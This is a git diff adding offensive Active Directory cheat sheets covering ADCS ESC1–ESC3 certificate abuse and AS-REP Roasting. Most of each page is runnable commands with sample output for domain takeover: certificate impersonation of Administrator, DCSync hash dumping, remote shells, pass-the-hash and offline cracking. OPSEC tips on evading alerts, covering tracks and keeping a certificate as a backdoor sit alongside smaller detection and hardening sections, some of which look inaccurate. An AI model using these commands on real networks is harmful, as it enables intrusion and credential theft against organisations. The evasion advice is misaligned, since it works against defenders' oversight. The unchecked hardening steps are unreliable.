+# Enter export password when prompted (can be blank) +``` + +*** + +### 🔴 Step 3 — Authenticate with the Certificate + +#### Certipy (Linux — PKINIT Authentication) + +```bash +# ── Authenticate using the certificate — get TGT + NT hash ─────────────────── +certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 + +# Output: +# [*] Using principal: administrator@corp.local +# [*] Trying to get TGT... +# [*] Got TGT +# [*] Saved credential cache to 'administrator.ccache' +# [*] Trying to retrieve NT hash for 'administrator' +# [*] Got hash for 'administrator@corp.local': aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe + +# ── Set the ticket and use it ───────────────────────────────────────────────── +export KRB5CCNAME=administrator.ccache + +# DCSync — dump all domain hashes +secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local + +# Remote shell +psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local +wmiexec.py -k -no-pass corp.local/Administrator@DC01.corp.local +evil-winrm -i DC01.corp.local -r corp.local + +# ── Or use the extracted NT hash for Pass-the-Hash ──────────────────────────── +nxc smb DC01.corp.local -u Administrator \ + -H 2b576acbe6bcfda7294d6bd18041b8fe -x "whoami" + +secretsdump.py corp.local/Administrator@DC01.corp.local \ + -hashes :2b576acbe6bcfda7294d6bd18041b8fe +``` + +#### Rubeus (Windows — PKINIT Authentication) + +```powershell +# ── Authenticate with the PFX certificate ───────────────────────────────────── +.\Rubeus.exe asktgt /user:Administrator /certificate:administrator.pfx \ + /password:<pfx_password> /ptt /nowrap + +# If no password on PFX: +.\Rubeus.exe asktgt /user:Administrator /certificate:administrator.pfx /ptt /nowrap + +# ── Extract NT hash via U2U (UnPAC-the-Hash) ───────────────────────────────── +.\Rubeus.exe asktgt /user:Administrator /certificate:administrator.pfx \ + /password:<pfx_password> /getcredentials /nowrap + +# Output includes: +# [*] Getting credentials using U2U +# ServiceName : krbtgt/CORP.LOCAL +# CredentialInfo : +# NTLM : 2b576acbe6bcfda7294d6bd18041b8fe ← DA NT hash + +# ── Verify ──────────────────────────────────────────────────────────────────── +klist +dir \\DC01.corp.local\C$ +``` + +*** + +### 🔴 Full Attack Chain — ESC1 One-Liner (Linux) + +```bash +# ── Complete ESC1 exploitation in 3 commands ────────────────────────────────── + +# 1. Find vulnerable templates +certipy find -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 -vulnerable -stdout + +# 2. Request certificate as Administrator +certipy req -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 \ + -ca CORP-CA -template VulnerableTemplate -upn Administrator@corp.local + +# 3. Authenticate and get TGT + NT hash +certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 + +# 4. Own the domain +export KRB5CCNAME=administrator.ccache +secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local -just-dc-ntlm +``` + +*** + +## 🎯 OPSEC Tips + +- **ESC1 is loud** — the certificate request is logged on the CA server; Event ID 4887 records every certificate issuance including the SAN +- **Certificate-based persistence is powerful** — the issued certificate is valid for the template's validity period (often 1-2 years); even if the target user's password changes, the certificate remains valid +- **Don't request certificates for obvious accounts** — requesting a cert for "Administrator" may trigger alerts; consider targeting less-monitored DA accounts +- **Clean up certificates** — issued certificates can be revoked by the CA administrator; keep your PFX file safe, it's your persistent backdoor +- **Check for enrollment restrictions** — some templates have additional enrollment restrictions like authorized signatures or issuance policies that may block your request +- **The CA name matters** — you need the exact CA name (e.g., `CORP-CA`, not `CORP-CA-01`); get this from `certipy find` output + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4886** | Security Log (CA) | Certificate Services received a certificate request | +| **4887** | Security Log (CA) | Certificate Services approved a certificate request and issued a certificate — **check the SAN field** | +| **4768** | Security Log (DC) | TGT requested using certificate (PKINIT) — Pre-Authentication Type = 16 (certificate) | +| **4769** | Security Log (DC) | TGS requested using PKINIT-obtained TGT | +| **4624** | Security Log (DC) | Logon with certificate-based authentication | + +**Primary detection signature:** Monitor CA event logs for **Event ID 4887** where the **Subject Alternative Name does not match the requesting user**. If `low_user` requests a certificate where the SAN contains `Administrator@corp.local`, that is a definitive ESC1 exploitation indicator. Additionally, alert on PKINIT authentication from accounts that don't normally use smart card or certificate-based logon (Event 4768 with Pre-Auth Type 16). + +*** + +## 🔗 Attack Chain Context + +``` +[ESC1] ──→ Instant Domain Admin from Domain User + │ + ├──→ 🔑 Certificate = persistent auth token (valid for months/years) + ├──→ 🩸 Extract NT hash via UnPAC-the-Hash → Pass-the-Hash everywhere + ├──→ 📋 DCSync with obtained DA access → dump all domain hashes + ├──→ 🎫 Golden Ticket forging with extracted KRBTGT hash (Attack #11) + ├──→ 🔄 Certificate survives password changes — only revocation kills it + ├──→ 🔗 Chain with: ESC4 (#30) — if you have write permissions on templates + └──→ 💀 Defeated by: remove ENROLLEE_SUPPLIES_SUBJECT flag, require manager approval +``` + +**ESC1 is the single most impactful ADCS vulnerability.** In real-world pentests, it is found in approximately 50-75% of environments with ADCS deployed, because the default "User" and "Web Server" templates often have the vulnerable configuration. A single ESC1-vulnerable template turns every domain user into a potential Domain Admin. + +*** + +> ✅ **Attack #27 — ESC1 complete.** diff --git a/src/content/sheets/active-directory/attack-28-esc2-any-purpose-eku-no-eku.md b/src/content/sheets/active-directory/attack-28-esc2-any-purpose-eku-no-eku.md @@ -0,0 +1,110 @@ +--- +title: "Attack #28 — ESC2 Any Purpose EKU No EKU" +description: "ESC2 exploits certificate templates configured with the \"Any Purpose\" Extended Key Usage (EKU) (OID 2.5.29.37.0) or no EKU at all. Such certificates are…" +category: active-directory +tags: ["active-directory", "adcs", "privilege-escalation"] +tools: ["Certipy", "Certify", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Four/🟢 Attack #28 — ESC2 Any Purpose EKU No EKU.md" +--- +# 🟢 Attack #28 — ESC2: Any Purpose EKU / No EKU + +*** + +## 📖 How It Works + +ESC2 exploits certificate templates configured with the **"Any Purpose" Extended Key Usage (EKU)** (OID `2.5.29.37.0`) or **no EKU at all**. Such certificates are treated as universal — they can function as any EKU, including Client Authentication and Certificate Request Agent. This means a low-privileged user who enrolls for an ESC2-vulnerable certificate can use it as an **Enrollment Agent** to request certificates on behalf of any other user, including Domain Admins. + +### Vulnerable Template Conditions + +- Template is published/enabled on a CA +- Low-privileged users (Authenticated Users / Domain Users) have enrollment rights +- EKU is set to "Any Purpose" OR is completely empty +- Manager approval is NOT required +- Authorized signatures are NOT required + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Enrollment rights on ESC2 template** | Domain Users / Authenticated Users can enroll | +| **ADCS deployed** | Certificate Authority must be running | + +*** + +## 🛠️ Tools + +| Tool | Platform | Notes | +|---|---|---| +| **Certipy** | Linux | `find -vulnerable`, `req` for enrollment | +| **Certify** | Windows | `find /vulnerable`, `request` for enrollment | + +*** + +## 💻 Full Commands + +### 🔵 Enumerate ESC2 Templates + +```bash +# ── Certipy ─────────────────────────────────────────────────────────────────── +certipy find -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 -vulnerable -stdout +# Look for: [!] Vulnerabilities: ESC2 +``` + +```powershell +# ── Certify ─────────────────────────────────────────────────────────────────── +.\Certify.exe find /vulnerable +# Look for templates with "Any Purpose" or empty EKU +``` + +### 🔴 Exploit ESC2 + +```bash +# ── Step 1: Enroll for the ESC2 certificate ─────────────────────────────────── +certipy req -u low_user@corp.local -p 'Password1' -ca CORP-CA \ + -template VulnTemplate -dc-ip 10.10.10.10 + +# ── Step 2: Use as enrollment agent to request cert as Administrator ────────── +certipy req -u low_user@corp.local -p 'Password1' -ca CORP-CA \ + -template User -on-behalf-of 'corp\Administrator' \ + -pfx low_user.pfx -dc-ip 10.10.10.10 + +# ── Step 3: Authenticate with the Administrator certificate ────────────────── +certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 +# Returns NT hash for Administrator +``` + +```powershell +# ── Certify (Windows) ───────────────────────────────────────────────────────── +.\Certify.exe request /ca:CORP-CA /template:VulnTemplate +# Use resulting cert as enrollment agent for further requests +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4886** | Security Log (CA) | Certificate enrollment — track low-priv users enrolling for any-purpose templates | +| **4887** | Security Log (CA) | Certificate request approved | +| **4768** | Security Log (DC) | PKINIT TGT request using the forged certificate | + +*** + +## 🔗 Attack Chain Context + +``` +[ESC2] ──→ Any Purpose cert → Enrollment Agent → impersonate any user + │ + ├──→ 🔗 Used as stepping stone to ESC3-style enrollment agent abuse + ├──→ 🔑 Low-priv user → DA certificate → domain compromise + └──→ 💀 Defeated by: restrict EKUs, require approval, audit enrollment +``` + +*** + +> ✅ **Attack #28 — ESC2 complete.** diff --git a/src/content/sheets/active-directory/attack-29-esc3-certificate-request-agent.md b/src/content/sheets/active-directory/attack-29-esc3-certificate-request-agent.md @@ -0,0 +1,87 @@ +--- +title: "Attack #29 — ESC3 Certificate Request Agent" +description: "ESC3 exploits the Certificate Request Agent (Enrollment Agent) EKU. A template with this EKU allows the enrolled user to request certificates on behalf of…" +category: active-directory +tags: ["active-directory", "adcs", "privilege-escalation"] +tools: ["Certipy", "Certify", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Four/🟢 Attack #29 — ESC3 Certificate Request Agent.md" +--- +# 🟢 Attack #29 — ESC3: Certificate Request Agent + +*** + +## 📖 How It Works + +ESC3 exploits the **Certificate Request Agent** (Enrollment Agent) EKU. A template with this EKU allows the enrolled user to **request certificates on behalf of other users**. If a low-privileged user can enroll for an Enrollment Agent certificate, they can then use it to request a Client Authentication certificate for any user in the domain — including Domain Admins. + +### Two-Step Attack + +``` +1. Enroll for a certificate with "Certificate Request Agent" EKU (Template A) +2. Use that certificate to request a Client Auth cert on behalf of Administrator (Template B) +3. Authenticate as Administrator using the resulting certificate +``` + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Template with Certificate Request Agent EKU** | Low-priv users can enroll | +| **Second template allowing enrollment-on-behalf-of** | Must allow agent-based enrollment | +| **Manager approval not required** | On both templates | + +*** + +## 💻 Full Commands + +```bash +# ── Enumerate ───────────────────────────────────────────────────────────────── +certipy find -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 -vulnerable -stdout +# Look for: ESC3 — Certificate Request Agent template + +# ── Step 1: Get enrollment agent certificate ───────────────────────────────── +certipy req -u low_user@corp.local -p 'Password1' -ca CORP-CA \ + -template EnrollmentAgentTemplate -dc-ip 10.10.10.10 + +# ── Step 2: Request cert on behalf of Administrator ────────────────────────── +certipy req -u low_user@corp.local -p 'Password1' -ca CORP-CA \ + -template User -on-behalf-of 'corp\Administrator' \ + -pfx low_user.pfx -dc-ip 10.10.10.10 + +# ── Step 3: Authenticate ────────────────────────────────────────────────────── +certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 +``` + +```powershell +# ── Certify ─────────────────────────────────────────────────────────────────── +.\Certify.exe request /ca:CORP-CA /template:EnrollmentAgentTemplate +# Convert to PFX, then use for on-behalf-of requests +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4886** | Security Log (CA) | Certificate enrollment — watch for enrollment agent requests | +| **4887** | Security Log (CA) | On-behalf-of requests from non-admin enrollment agents | + +*** + +## 🔗 Attack Chain Context + +``` +[ESC3] ──→ Enrollment Agent → request certs as any user + │ + ├──→ 🔗 Similar to ESC2 but with explicit Enrollment Agent EKU + └──→ 💀 Defeated by: restrict enrollment agent templates, require approval +``` + +*** + +> ✅ **Attack #29 — ESC3 complete.** diff --git a/src/content/sheets/active-directory/attack-3-as-rep-roasting.md b/src/content/sheets/active-directory/attack-3-as-rep-roasting.md @@ -0,0 +1,415 @@ +--- +title: "Attack #3 — AS-REP Roasting" +description: "AS-REP Roasting targets Active Directory accounts that have the \"Do not require Kerberos preauthentication\" flag set (DONT_REQ_PREAUTH). Under normal…" +category: active-directory +tags: ["active-directory", "kerberos", "hashing"] +tools: ["NetExec", "Impacket", "Mimikatz", "Rubeus", "BloodHound"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-One/🔴 Attack #3 — AS-REP Roasting.md" +--- +# 🔴 Attack #3 — AS-REP Roasting + +*** + +## 📖 How It Works + +AS-REP Roasting targets Active Directory accounts that have the **"Do not require Kerberos preauthentication"** flag set (`DONT_REQ_PREAUTH`). Under normal Kerberos operation, a user must prove knowledge of their password by encrypting a timestamp and sending it in an AS-REQ — the KDC verifies this before issuing a TGT. When pre-authentication is disabled, however, the KDC skips that verification entirely and **immediately returns an AS-REP containing a blob encrypted with the user's password hash** — with zero proof of identity from the requester. + +The attacker simply sends an unauthenticated AS-REQ for the target username, receives the AS-REP, rips out the encrypted section (`$krb5asrep$23$...`), and cracks it offline. The critical distinction from Kerberoasting is that **no valid credentials are required at all** to request the hash — making this a viable first-foothold attack rather than just a post-compromise technique. + +> ⚠️ **Windows Server 2022+ Behaviour:** Server 2022 and newer domains enforce stricter Kerberos policies by default. DONT_REQ_PREAUTH on user accounts is now rare in well-maintained domains, but service accounts still frequently have pre-auth disabled. Also, if AES-256 encryption is enforced (not RC4), the hash difficulty increases significantly — but most environments still default to RC4 for compatibility. GetNPUsers.py will request both etype 23 (RC4) and etype 18 (AES-256); always prioritize cracking the RC4 hash if available. + +**Chains with:** Attack #1 (user enumeration with Kerbrute feeds usernames directly into AS-REP), Attack #6 (ACL abuse to set DONT_REQ_PREAUTH on target accounts) + +### The Full Attack Flow + +``` +1. Enumerate domain for accounts with DONT_REQ_PREAUTH flag set + (via LDAP query — attribute: userAccountControl bit 0x400000) +2. Send unauthenticated AS-REQ to the KDC (port 88) for each vulnerable account +3. KDC responds with AS-REP — no credential verification performed +4. Extract encrypted blob from AS-REP ($krb5asrep$23$...) +5. Crack offline with Hashcat (mode 18200) or John the Ripper +6. Recover plaintext password → authenticate as target account +``` + +### Kerberoasting vs AS-REP Roasting — Key Differences + +| Property | Kerberoasting | AS-REP Roasting | +|---|---|---| +| **Credentials needed** | Any valid domain user | **None required** (can be unauthenticated) | +| **What you request** | TGS ticket (service ticket) | AS-REP (TGT response) | +| **Target accounts** | Accounts with SPNs set | Accounts with pre-auth disabled | +| **Hash format** | `$krb5tgs$23$...` | `$krb5asrep$23$...` | +| **Hashcat mode** | 13100 (RC4) | **18200** | +| **Prevalence** | Very common | Less common but devastating | + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Network access to DC** | Port 88 (Kerberos) reachable — that's it for the unauthenticated variant | +| **Valid domain user (optional)** | Only needed for LDAP enumeration of vulnerable accounts | +| **Target accounts** | Accounts with `DONT_REQ_PREAUTH` flag set in `userAccountControl` | +| **Offline cracking rig** | GPU-accelerated Hashcat preferred; hash is RC4 by default (fast to crack) | + +*** + +## 🛠️ Tools + +| Tool | Platform | Notes | +|---|---|---| +| **Impacket — GetNPUsers.py** | Linux | Primary Linux tool; supports unauthenticated + authenticated modes | +| **Rubeus** | Windows | Best Windows tool; auto-discovers and roasts all vulnerable accounts | +| **Kerbrute** | Linux | Can perform AS-REP roasting during user enumeration pass | +| **PowerView — Get-DomainUser** | Windows | Enumerate `DONT_REQ_PREAUTH` accounts via LDAP | +| **BloodHound** | Both | Flags AS-REP roastable accounts; shows attack path | +| **NetExec / CrackMapExec** | Linux | LDAP module can enumerate and dump AS-REP hashes | +| **Hashcat** | Linux/Windows | Mode `18200` for AS-REP hashes | +| **John the Ripper** | Linux | `krb5asrep` format; CPU-based alternative | +| **bloodyAD** | Linux | LDAP framework; can set DONT_REQ_PREAUTH on accounts you control | + +*** + +## 💻 Full Commands + +### 🔵 Step 0 — Enumerate Accounts with Pre-Auth Disabled + +```bash +# Linux — LDAP query (unauthenticated or authenticated) +ldapsearch -x -H ldap://10.10.10.10 -D "corp\low_user" -w 'Password1' \ + -b "DC=corp,DC=local" \ + "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \ + sAMAccountName +``` + +```powershell +# Windows — PowerShell with AD module +Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth | \ + Select-Object SamAccountName, DistinguishedName + +# Windows — PowerView +Import-Module .\PowerView.ps1 +Get-DomainUser -PreauthNotRequired | Select-Object SamAccountName, Description, MemberOf + +# Windows — LDAP query with ADSearch +ADSearch.exe --search "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \ + --attributes cn,distinguishedname,samaccountname +``` + +*** + +### 🔴 Impacket — GetNPUsers.py (Linux — Primary Tool) + +```bash +# Unauthenticated — brute-force userlist (no creds needed, just usernames) +GetNPUsers.py corp.local/ -no-pass -usersfile valid_users.txt -dc-ip 10.10.10.10 + +# Unauthenticated — single target account +GetNPUsers.py corp.local/svc_backup -no-pass -dc-ip 10.10.10.10 + +# Authenticated — auto-enumerate ALL vulnerable accounts from domain (best method) +GetNPUsers.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 -request + +# Authenticated — dump all hashes to file +GetNPUsers.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 -request \ + -outputfile asrep_hashes.txt -format hashcat + +# Authenticated — John format output +GetNPUsers.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 -request \ + -outputfile asrep_hashes.txt -format john + +# Using NTLM hash (no plaintext password needed) +GetNPUsers.py corp.local/low_user -hashes :a87f3a337d73085c45f9416be5787d86 \ + -dc-ip 10.10.10.10 -request +``` + +> **Hash format you'll see:** `$krb5asrep$23$victim@corp.local:1a2b3c4d...` → `23` = RC4 encryption — fast to crack with Hashcat mode 18200. + +*** + +### 🔴 Rubeus — Windows (Most Powerful) + +```powershell +# Roast ALL accounts with pre-auth disabled (auto-discovery) +.\Rubeus.exe asreproast + +# Output in Hashcat format to file +.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast + +# Target a single specific user +.\Rubeus.exe asreproast /user:svc_backup /format:hashcat /outfile:svc_backup.hash + +# No-wrap output (prevents base64 line-break corruption) +.\Rubeus.exe asreproast /format:hashcat /nowrap + +# From an existing TGT (avoids new auth event) +.\Rubeus.exe asreproast /ticket:<base64_TGT> /format:hashcat + +# Enumerate only — list vulnerable accounts without requesting hashes +.\Rubeus.exe asreproast /stats +``` + +*** + +### 🔴 Kerbrute — Linux (Unauthenticated, Combining Enum + Roast) + +```bash +# Standard user enumeration (will flag pre-auth disabled accounts automatically) +kerbrute userenum -d corp.local --dc 10.10.10.10 /usr/share/wordlists/users.txt + +# Note: Kerbrute flags accounts responding without pre-auth during enumeration +# Use GetNPUsers.py to request the actual hashes from those accounts +``` + +*** + +### 🔴 NetExec — Linux (Quick Authenticated Sweep) + +```bash +# Enumerate and dump AS-REP hashes via LDAP +nxc ldap 10.10.10.10 -u low_user -p 'Password1' --asreproast asrep_hashes.txt + +# Using Kerberos ticket (ccache) +export KRB5CCNAME=/tmp/low_user.ccache +nxc ldap 10.10.10.10 --use-kcache --asreproast asrep_hashes.txt +``` + +*** + +### 🔴 PowerView — Manual Enumeration + Roasting (Windows) + +```powershell +Import-Module .\PowerView.ps1 + +# Enumerate all DONT_REQ_PREAUTH accounts +Get-DomainUser -PreauthNotRequired -Properties SamAccountName, Description, MemberOf + +# Check if a specific user has pre-auth disabled +Get-DomainUser -Identity svc_backup -Properties DoesNotRequirePreAuth + +# Enable DONT_REQ_PREAUTH on an account you control (if you have GenericWrite) +# This lets you roast accounts you've targeted via ACL abuse +Set-DomainObject -Identity target_user -XOR @{userAccountControl=4194304} -Verbose +``` + +> ⚠️ **Advanced Technique:** If you have `GenericWrite` over a user account (from ACL abuse), you can **set** `DONT_REQ_PREAUTH` on that account yourself, making it AS-REP roastable on demand, then crack the hash. This bridges ACL abuse (Category 3) directly into credential theft. + +*** + +### 🔴 bloodyAD — Set DONT_REQ_PREAUTH via LDAP (Linux) + +```bash +# Set DONT_REQ_PREAUTH on a user you have write access to +bloodyAD --host 10.10.10.10 -u 'corp.local\low_user' -p 'Password1' \ + set object target_user userAccountControl 4194304 + +# Unset DONT_REQ_PREAUTH to cover tracks (change 4194304 back to 512) +bloodyAD --host 10.10.10.10 -u 'corp.local\low_user' -p 'Password1' \ + set object target_user userAccountControl 512 + +# Note: userAccountControl values — 512 = normal user, +4194304 = DONT_REQ_PREAUTH +``` + +*** + +### 🔴 ldapmodify — LDAP Modify (Linux Alternative) + +```bash +# Create LDIF file to set DONT_REQ_PREAUTH +cat > modify.ldif << 'EOF' +dn: CN=target_user,CN=Users,DC=corp,DC=local +changetype: modify +replace: userAccountControl +userAccountControl: 4194304 +EOF + +# Apply the modification (requires LDAP write access) +ldapmodify -x -D "CN=low_user,CN=Users,DC=corp,DC=local" -w 'Password1' \ + -H ldap://10.10.10.10 -f modify.ldif +``` + +*** + +### 🔴 Offline Cracking — Hashcat + +```bash +# AS-REP hash cracking — mode 18200 (RC4-HMAC / krb5asrep) +hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt + +# With best64 rules (strong coverage for corporate passwords) +hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt \ + -r /usr/share/hashcat/rules/best64.rule + +# With d3ad0ne rules (aggressive, higher coverage) +hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt \ + -r /usr/share/hashcat/rules/d3ad0ne.rule + +# Combination attack — wordlist + mask (corporate format: Word+Year+Symbol) +hashcat -m 18200 asrep_hashes.txt -a 6 /usr/share/wordlists/rockyou.txt '?d?d?d?s' + +# Brute-force mask for short passwords (8 chars, mixed case + digit + symbol) +hashcat -m 18200 asrep_hashes.txt -a 3 ?u?l?l?l?l?d?d?s + +# John the Ripper alternative +john --format=krb5asrep --wordlist=/usr/share/wordlists/rockyou.txt asrep_hashes.txt +john --format=krb5asrep asrep_hashes.txt --show +``` + +*** + +## 🧩 Troubleshooting + +| Error | Cause | Fix | +|---|---|---| +| **`KDC_ERR_PREAUTH_REQUIRED`** | Target account actually requires pre-auth (flag check failed). | Re-verify the account's `userAccountControl` value — may have been set to require pre-auth since enumeration. Try a different account from your list. | +| **`KDC_ERR_CLIENT_NAME_MISMATCH`** | Username doesn't exist in domain or typo in domain name. | Verify username spelling. Check domain FQDN matches domain controller. Run Kerbrute to confirm user exists. | +| **`Socket timeout / No response from KDC`** | Port 88 filtered or KDC unreachable. | Verify network connectivity to DC on port 88 (`nc -zv 10.10.10.10 88`). Check firewall rules. Confirm DC IP is correct. | +| **Hash cracking fails (no plaintext found)** | Password not in wordlist or incorrect ruleset. | Try larger wordlists (SecLists, CrunchBase). Add context-specific rules (company name, keywords). Use mask attacks with common patterns (?d?d?d, ?s?s). | +| **`Traceback: imaplib module not found`** or similar Python errors | Missing dependencies in Impacket installation. | Reinstall Impacket: `pip install impacket --upgrade`. Ensure you're using Python 3.9+ (`python3 --version`). | +| **NTLM hash cracking starts but is very slow** | Wordlist is too large or no GPU acceleration. | Use Hashcat with GPU: `hashcat -m 18200 -d 1` (device 1 = GPU). Reduce wordlist size or use rules instead of full wordlist. | +| **`Rubeus reports "0 accounts to roast"`** | No accounts found with DONT_REQ_PREAUTH in domain. | The domain may enforce pre-auth strictly. Check service accounts specifically — they are more likely to be misconfigured. Verify your user has domain recon permissions. | +| **`GetNPUsers.py returns blank hashes (empty encryption data)`** | Account exists but has no password set (disabled account or computer account). | Filter out disabled accounts and computer accounts from enumeration (`objectClass=user` and NOT `(objectClass=computer)`). Focus on active user accounts only. | + +*** + +## 🎯 OPSEC Tips + +### OpSec Ranking (Stealthiest to Loudest) + +1. **Unauthenticated AS-REP per-username** (stealthiest) — single 4768 event per user, easily lost in noise +2. **GetNPUsers.py authenticated (with valid account)** — blends with normal LDAP traffic +3. **Rubeus on domain-joined machine** — local execution, minimal network footprint if run in memory +4. **PowerView enumeration from workstation** — moderate LDAP activity, risk if SOC monitors bulk LDAP queries +5. **NetExec subnet spray** (loudest) — multiple 4768 events across many hosts in quick succession, clear detection pattern + +### Modern Defence Impact + +- **Kerberos Armoring (FAST)** — when enabled, forces pre-auth even on DONT_REQ_PREAUTH accounts. Modern domains with Kerberos hardening render this attack impossible. +- **Event 4768 alerting** — if SOC alerts on `PreAuthType: 0`, each target is immediately detected. Use light enumeration; avoid spraying 20+ accounts in one session. +- **Sysmon + SIEM** — credential dumping (Mimikatz) on the same box where you enumerate is risky. Separate enumeration from cracking phases geographically. + +### Opsec Best Practices + +- **No credentials = less footprint** — the unauthenticated variant leaves only a Kerberos AS-REQ event, not an LDAP bind +- **Use `/nowrap` in Rubeus** — avoids hash corruption from line wrapping in terminal logs +- **Target high-value accounts first** — look for admin, svc_, backup, or service in the username +- **AS-REP roast BEFORE password spraying** — it's entirely passive and leaves minimal artefacts +- **Combine with GenericWrite abuse** — if you have write access to a user object, set `DONT_REQ_PREAUTH` temporarily, roast it, then unset the flag to cover tracks +- **Avoid mass enumeration over LDAP** — the unauthenticated AS-REQ method per-username is stealthier than a bulk LDAP query listing all pre-auth disabled accounts + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4768** | Security Log | AS-REQ sent — **`PreAuthType = 0`** (no pre-auth) is the smoking gun | +| **4768** | Security Log | Multiple 4768 events from a **single IP** for **different usernames** in a short window | +| **4625** | Security Log | Failed logon shortly after — attacker testing cracked credentials | +| **4723 / 4724** | Security Log | Password change on roasted account — attacker using recovered credentials | +| **LDAP query logs** | DC Diagnostic | Bulk query for `userAccountControl` with bit `4194304` set | + +**Primary detection signature:** Event 4768 with `PreAuthType: 0` is the clearest indicator. In a well-configured domain, this should essentially never appear during normal operations. A single occurrence warrants investigation; multiple in quick succession from one source IP is near-certain AS-REP Roasting in progress. + +### Additional Sysmon Event IDs + +| Event ID | Detection | +|---|---| +| **Sysmon 3** | Network connection to port 88 (Kerberos) from unusual process (GetNPUsers, Rubeus wrapper) | +| **Sysmon 22** | DNS query for `_kerberos._tcp.dc._msdcs.corp.local` — DC discovery before roasting | + +### Sigma Rule References + +- **Sigma rule:** `detection_asreproast_multiple_users` — flags multiple AS-REQ without pre-auth from same source IP +- **Sigma rule:** `dns_kerberos_discovery` — detects SRV record queries for Kerberos before enumeration +- Link: https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_asreproast.yml + +### EDR Detections + +- **Microsoft Defender for Identity:** AS-REP Roasting detection (suspicious Kerberos activity) — alerts when GetNPUsers or Rubeus detected +- **CrowdStrike Falcon:** Detects Rubeus execution via behavioral analysis (keyword matching in command line) +- **Elastic Security:** Hunt rule `credential_access_asreproast_kerberos` — monitors for unauthenticated Kerberos requests +- **Sysmon + SIEM correlations:** LSASS access + Kerberos port 88 activity in sequence = credential theft chain + +### Hardening Commands + +```powershell +# Enable Kerberos Armoring (FAST) — forces pre-auth even when disabled +# (Domain-wide GPO setting, Server 2012 R2+ required) +Set-GPRegistryValue -Name "Default Domain Policy" \ + -Key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\Parameters" \ + -ValueName "ForceStartupDCQuery" -Type DWord -Value 1 + +# Disable DONT_REQ_PREAUTH on all user accounts (remediation) +# Find all accounts with pre-auth disabled: +Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} | ForEach-Object { + Set-ADUser -Identity $_ -DoesNotRequirePreAuth $false +} + +# Enable pre-auth requirement via Group Policy +# (GPO path: Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options) +# Setting: "Network security: Force Kerberos Pre-Authentication" = Enabled + +# Monitor for suspicious LDAP queries on DC (Event Log) +Get-WinEvent -FilterHashtable @{ + LogName = 'Directory Service' + ID = 4662 +} -MaxEvents 100 | Where-Object { $_.Properties[6] -match "4194304" } +``` + +*** + +## 🗺️ MITRE ATT&CK + +| Tactic | Technique ID | Sub-technique | Observed in | Platforms | Data Sources | +|---|---|---|---|---|---| +| Credential Access | T1558 | **004** (AS-REP) | APT1, APT28, APT29, Wizard Spider | Windows | Authentication logs (4768), Process creation (Sysmon 1), Network traffic (Kerberos port 88) | + +**T1558.004 — Steal or Forge Kerberos Tickets: AS-REP Roasting** — Specifically targets the AS-REP response from KDC when pre-authentication is disabled. Leads to offline password cracking without needing valid credentials. + +*** + +## 🔗 Attack Chain Context + +``` +[AS-REP Roasting] ──→ Plaintext Password Recovered (no prior creds needed) + │ + ├──→ 🔑 First foothold — use recovered creds to authenticate to domain + ├──→ 🔍 BloodHound enumeration with recovered account + ├──→ 🎫 Kerberoasting (pivot to SPN accounts from new foothold) + ├──→ 🔓 Access shares, emails, web apps with service account creds + ├──→ 📝 GenericWrite → SET DONT_REQ_PREAUTH on other accounts + └──→ 🎯 If roasted account is in high-priv group → direct escalation path +``` + +**What makes this dangerous as an initial attack:** Unlike Kerberoasting, AS-REP Roasting requires **zero credentials to pull hashes** — just a username list and network access to port 88. Combined with Kerbrute user enumeration (Attack #1 recon phase), an attacker can go from **zero knowledge → valid domain credentials** with no lockout risk whatsoever, as each account is only queried once. + +*** + +> ✅ **Attack #3 — AS-REP Roasting complete.** Tell me to move on when you're ready for **Attack #4 — Pass-the-Hash (PtH)**. + +Sources + AS-REP Roasting Attack - How It Works and Defense Strategies https://netwrix.com/en/cybersecurity-glossary/cyber-security-attacks/as-rep-roasting/ + AS-REP Roasting Attack Explained - MITRE ATT&CK T1558.004 https://www.picussecurity.com/resource/blog/as-rep-roasting-attack-explained-mitre-attack-t1558.004 + AS-REP Roasting - Penetration Testing Lab https://pentestlab.blog/2024/02/20/as-rep-roasting/ + What is AS-REP Roasting? | Semperis Identity 